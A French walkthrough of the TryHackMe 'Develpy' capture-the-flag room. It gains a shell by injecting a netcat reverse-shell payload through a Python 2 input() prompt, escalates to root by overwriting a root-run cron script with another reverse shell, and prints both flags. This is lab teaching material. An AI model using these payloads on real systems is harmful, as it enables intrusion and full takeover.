Develpy

https://tryhackme.com/room/bsidesgtdevelpy

Reconnaissance

root@ip-10-10-47-150:~# nmap -sC -sV 10.10.22.11 -vv

Starting Nmap 7.60 ( https://nmap.org ) at 2022-12-22 20:50 GMT
NSE: Loaded 146 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 20:50
Completed NSE at 20:50, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 20:50
Completed NSE at 20:50, 0.00s elapsed
Initiating ARP Ping Scan at 20:50
Scanning 10.10.22.11 [1 port]
Completed ARP Ping Scan at 20:50, 0.22s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 20:50
Completed Parallel DNS resolution of 1 host. at 20:50, 0.00s elapsed
Initiating SYN Stealth Scan at 20:50
Scanning ip-10-10-22-11.eu-west-1.compute.internal (10.10.22.11) [1000 ports]
Discovered open port 22/tcp on 10.10.22.11
Discovered open port 10000/tcp on 10.10.22.11
Completed SYN Stealth Scan at 20:50, 1.26s elapsed (1000 total ports)
Initiating Service scan at 20:50
Scanning 2 services on ip-10-10-22-11.eu-west-1.compute.internal (10.10.22.11)
Completed Service scan at 20:52, 101.26s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.22.11.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 20:52
Completed NSE at 20:52, 10.04s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 20:52
Completed NSE at 20:52, 1.02s elapsed
Nmap scan report for ip-10-10-22-11.eu-west-1.compute.internal (10.10.22.11)
Host is up, received arp-response (0.0013s latency).
Scanned at 2022-12-22 20:50:53 GMT for 114s
Not shown: 998 closed ports
Reason: 998 resets
PORT      STATE SERVICE           REASON         VERSION
22/tcp    open  ssh               syn-ack ttl 64 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 78:c4:40:84:f4:42:13:8e:79:f8:6b:e4:6d:bf:d4:46 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeAB1tAGCfeGkiBXodMGeCc6prI2xaWz/fNRhwusVEujBTQ1BdY3BqPHNf1JLGhqts1anfY9ydt0N1cdAEv3L16vH2cis+34jyek3d+TVp+oBLztNWY5Yfcv/3uRcy5yyZsKjMz+wyribpEFlbpvscrVYfI2Crtm5CgcaSwqDDtc1doeABJ9t3iSv+7MKBdWJ9N3xd/oTfI0fEOdIp8M568A1/CJEQINFPVu1txC/HTiY4jmVkNf6+JyJfFqshRMpFq2YmUi6GulwzWQONmbTyxqrZg2y+y2q1AuFeritRg9vvkBInW0x18FS8KLdy5ohoXgeoWsznpR1J/BzkNfap
|   256 25:9d:f3:29:a2:62:4b:24:f2:83:36:cf:a7:75:bb:66 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDGGFFv4aQm/+j6R2Vsg96zpBowtu0/pkUxksqjTqKhAFtHla6LE0BRJtSYgmm8+ItlKHjJX8DNYylnNDG+Ol/U=
|   256 e7:a0:07:b0:b9:cb:74:e9:d6:16:7d:7a:67:fe:c1:1d (EdDSA)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMbypBoQ33EbivAc05LqKzxLsJrTgXOrXG7qG/RoO30K
10000/tcp open  snet-sensor-mgmt? syn-ack ttl 64
| fingerprint-strings: 
|   GenericLines: 
|     Private 0days
|     Please enther number of exploits to send??: Traceback (most recent call last):
|     File "./exploit.py", line 6, in <module>
|     num_exploits = int(input(' Please enther number of exploits to send??: '))
|     File "<string>", line 0
|     SyntaxError: unexpected EOF while parsing
|   GetRequest: 
|     Private 0days
|     Please enther number of exploits to send??: Traceback (most recent call last):
|     File "./exploit.py", line 6, in <module>
|     num_exploits = int(input(' Please enther number of exploits to send??: '))
|     File "<string>", line 1, in <module>
|     NameError: name 'GET' is not defined
|   HTTPOptions, RTSPRequest: 
|     Private 0days
|     Please enther number of exploits to send??: Traceback (most recent call last):
|     File "./exploit.py", line 6, in <module>
|     num_exploits = int(input(' Please enther number of exploits to send??: '))
|     File "<string>", line 1, in <module>
|     NameError: name 'OPTIONS' is not defined
|   NULL: 
|     Private 0days
|_    Please enther number of exploits to send??:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port10000-TCP:V=7.60%I=7%D=12/22%Time=63A4C335%P=x86_64-pc-linux-gnu%r(
SF:NULL,48,"\r\n\x20\x20\x20\x20\x20\x20\x20\x20Private\x200days\r\n\r\n\x
SF:20Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20")
SF:%r(GetRequest,136,"\r\n\x20\x20\x20\x20\x20\x20\x20\x20Private\x200days
SF:\r\n\r\n\x20Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\
SF:?\?:\x20Traceback\x20\(most\x20recent\x20call\x20last\):\r\n\x20\x20Fil
SF:e\x20\"\./exploit\.py\",\x20line\x206,\x20in\x20<module>\r\n\x20\x20\x2
SF:0\x20num_exploits\x20=\x20int\(input\('\x20Please\x20enther\x20number\x
SF:20of\x20exploits\x20to\x20send\?\?:\x20'\)\)\r\n\x20\x20File\x20\"<stri
SF:ng>\",\x20line\x201,\x20in\x20<module>\r\nNameError:\x20name\x20'GET'\x
SF:20is\x20not\x20defined\r\n")%r(HTTPOptions,13A,"\r\n\x20\x20\x20\x20\x2
SF:0\x20\x20\x20Private\x200days\r\n\r\n\x20Please\x20enther\x20number\x20
SF:of\x20exploits\x20to\x20send\?\?:\x20Traceback\x20\(most\x20recent\x20c
SF:all\x20last\):\r\n\x20\x20File\x20\"\./exploit\.py\",\x20line\x206,\x20
SF:in\x20<module>\r\n\x20\x20\x20\x20num_exploits\x20=\x20int\(input\('\x2
SF:0Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20'\)
SF:\)\r\n\x20\x20File\x20\"<string>\",\x20line\x201,\x20in\x20<module>\r\n
SF:NameError:\x20name\x20'OPTIONS'\x20is\x20not\x20defined\r\n")%r(RTSPReq
SF:uest,13A,"\r\n\x20\x20\x20\x20\x20\x20\x20\x20Private\x200days\r\n\r\n\
SF:x20Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20T
SF:raceback\x20\(most\x20recent\x20call\x20last\):\r\n\x20\x20File\x20\"\.
SF:/exploit\.py\",\x20line\x206,\x20in\x20<module>\r\n\x20\x20\x20\x20num_
SF:exploits\x20=\x20int\(input\('\x20Please\x20enther\x20number\x20of\x20e
SF:xploits\x20to\x20send\?\?:\x20'\)\)\r\n\x20\x20File\x20\"<string>\",\x2
SF:0line\x201,\x20in\x20<module>\r\nNameError:\x20name\x20'OPTIONS'\x20is\
SF:x20not\x20defined\r\n")%r(GenericLines,13B,"\r\n\x20\x20\x20\x20\x20\x2
SF:0\x20\x20Private\x200days\r\n\r\n\x20Please\x20enther\x20number\x20of\x
SF:20exploits\x20to\x20send\?\?:\x20Traceback\x20\(most\x20recent\x20call\
SF:x20last\):\r\n\x20\x20File\x20\"\./exploit\.py\",\x20line\x206,\x20in\x
SF:20<module>\r\n\x20\x20\x20\x20num_exploits\x20=\x20int\(input\('\x20Ple
SF:ase\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20'\)\)\r
SF:\n\x20\x20File\x20\"<string>\",\x20line\x200\r\n\x20\x20\x20\x20\r\n\x2
SF:0\x20\x20\x20\^\r\nSyntaxError:\x20unexpected\x20EOF\x20while\x20parsin
SF:g\r\n");
MAC Address: 02:B5:00:B7:03:73 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 20:52
Completed NSE at 20:52, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 20:52
Completed NSE at 20:52, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 115.12 seconds
           Raw packets sent: 1002 (44.072KB) | Rcvd: 1002 (40.076KB)

2 ports sont ouverts: 22 et 10000.

Essayons de nous connecter au port 10000 via le navigateur.

Il y a un programme sur ce port. Il s’agit d’un script python exploit.py

Essayons de nous connecter autrement sur ce port.

root@ip-10-10-47-150:~# telnet 10.10.22.11 10000
Trying 10.10.22.11...
Connected to 10.10.22.11.
Escape character is '^]'.

        Private 0days

 Please enther number of exploits to send??: 3

Exploit started, attacking target (tryhackme.com)...
Exploiting tryhackme internal network: beacons_seq=1 ttl=1337 time=0.041 ms
Exploiting tryhackme internal network: beacons_seq=2 ttl=1337 time=0.00 ms
Exploiting tryhackme internal network: beacons_seq=3 ttl=1337 time=0.064 ms
Connection closed by foreign host.

Un script python nous demande de rentrer un chiffre. Le script va effectuer un nombre de ping égal à ce chiffre.

En python, lorsqu’un prompt est demandé, le langage utilise la fonction input()

On va essayer d’injecter un reverse shell grâce à cette fonction.

Voir https://medium.com/swlh/hacking-python-applications-5d4cd541b3f1

Voir https://www.geeksforgeeks.org/vulnerability-input-function-python-2-x/

echo "__import__('os').system('nc -e /bin/bash 10.10.47.150 4444')" | nc 10.10.22.11 10000

En parallèle, on lance un listener et on génère un véritable shell.

root@ip-10-10-47-150:~# rlwrap nc -nlvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 10.10.22.11 34044 received!
SHELL=/bin/bash script -q /dev/null
king@ubuntu:~$ 

Il ne nous reste plus qu’à récupérer le flag utilisateur.

king@ubuntu:~$ ls -lah
ls -lah
total 324K
drwxr-xr-x 4 king king 4.0K Aug 27  2019 .
drwxr-xr-x 3 root root 4.0K Aug 25  2019 ..
-rw------- 1 root root 2.9K Aug 27  2019 .bash_history
-rw-r--r-- 1 king king  220 Aug 25  2019 .bash_logout
-rw-r--r-- 1 king king 3.7K Aug 25  2019 .bashrc
drwx------ 2 king king 4.0K Aug 25  2019 .cache
-rwxrwxrwx 1 king king 266K Aug 27  2019 credentials.png
-rwxrwxrwx 1 king king  408 Aug 25  2019 exploit.py
drwxrwxr-x 2 king king 4.0K Aug 25  2019 .nano
-rw-rw-r-- 1 king king    5 Dec 22 13:10 .pid
-rw-r--r-- 1 king king  655 Aug 25  2019 .profile
-rw-r--r-- 1 root root   32 Aug 25  2019 root.sh
-rw-rw-r-- 1 king king  139 Aug 25  2019 run.sh
-rw-r--r-- 1 king king    0 Aug 25  2019 .sudo_as_admin_successful
-rw-rw-r-- 1 king king   33 Aug 27  2019 user.txt
-rw-r--r-- 1 root root  183 Aug 25  2019 .wget-hsts
king@ubuntu:~$ cat user.txt
cat user.txt
cf85ff769cfaaa721758949bf870b019

Nous n’avons pas le mot de passe de l’utilisateur king donc on ne pourra pas utiliser la commande sudo -l pour tenter de voir les commandes avec privilèges.

Le passage en mode root se fera grâce au fichier crontab.

king@ubuntu:~$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*  *	* * *	king	cd /home/king/ && bash run.sh
*  *	* * *	root	cd /home/king/ && bash root.sh
*  *	* * *	root	cd /root/company && bash run.sh

3 tâches sont exécutées chaque minute dont un fichier root.sh

Les droits sont en 644 et le contenu du fichier est le suivant:

king@ubuntu:~$ ls -lah /home/king/
ls -lah /home/king/
total 324K
drwxr-xr-x 4 king king 4.0K Aug 27  2019 .
drwxr-xr-x 3 root root 4.0K Aug 25  2019 ..
-rw------- 1 root root 2.9K Aug 27  2019 .bash_history
-rw-r--r-- 1 king king  220 Aug 25  2019 .bash_logout
-rw-r--r-- 1 king king 3.7K Aug 25  2019 .bashrc
drwx------ 2 king king 4.0K Aug 25  2019 .cache
-rwxrwxrwx 1 king king 266K Aug 27  2019 credentials.png
-rwxrwxrwx 1 king king  408 Aug 25  2019 exploit.py
drwxrwxr-x 2 king king 4.0K Aug 25  2019 .nano
-rw-rw-r-- 1 king king    5 Dec 22 13:13 .pid
-rw-r--r-- 1 king king  655 Aug 25  2019 .profile
-rw-r--r-- 1 root root   32 Aug 25  2019 root.sh
-rw-rw-r-- 1 king king  139 Aug 25  2019 run.sh
-rw-r--r-- 1 king king    0 Aug 25  2019 .sudo_as_admin_successful
-rw-rw-r-- 1 king king   33 Aug 27  2019 user.txt
-rw-r--r-- 1 root root  183 Aug 25  2019 .wget-hsts
king@ubuntu:~$ cat /home/king/root.sh
cat /home/king/root.sh
python /root/company/media/*.py

La faille est celle-ci. Même si le fichier est exécuté par root, le fichier est dans le répertoire /home. Nous n’avons pas d’accès direct. Par contre, nous allons le supprimer et le recréer.

printf '#!/bin/bash\nnc -e /bin/bash 10.10.47.150 1234' > root.sh

On ajoute les droits d’exécution sur ce fichier.

chmod +x root.sh

Puis sur notre machine, on lance un autre reverse shell.

rlwrap nc -nlvp 1234

Et on attend que le script s’exécute…

root@ip-10-10-47-150:~# rlwrap nc -nlvp 1234
Listening on [0.0.0.0] (family 0, port 1234)
Connection from 10.10.22.11 43504 received!
whoami
root
pwd
/home/king
SHELL=/bin/bash script -q /dev/null
root@ubuntu:/home/king# 

On a généré le shell de la même façon que pour le premier reverse shell, et nous sommes bien l’utilisateur root.

Il ne reste plus qu’à récupérer le flag root.

root@ubuntu:/home/king# cat /root/root.txt
cat /root/root.txt
9c37646777a53910a347f387dce025ec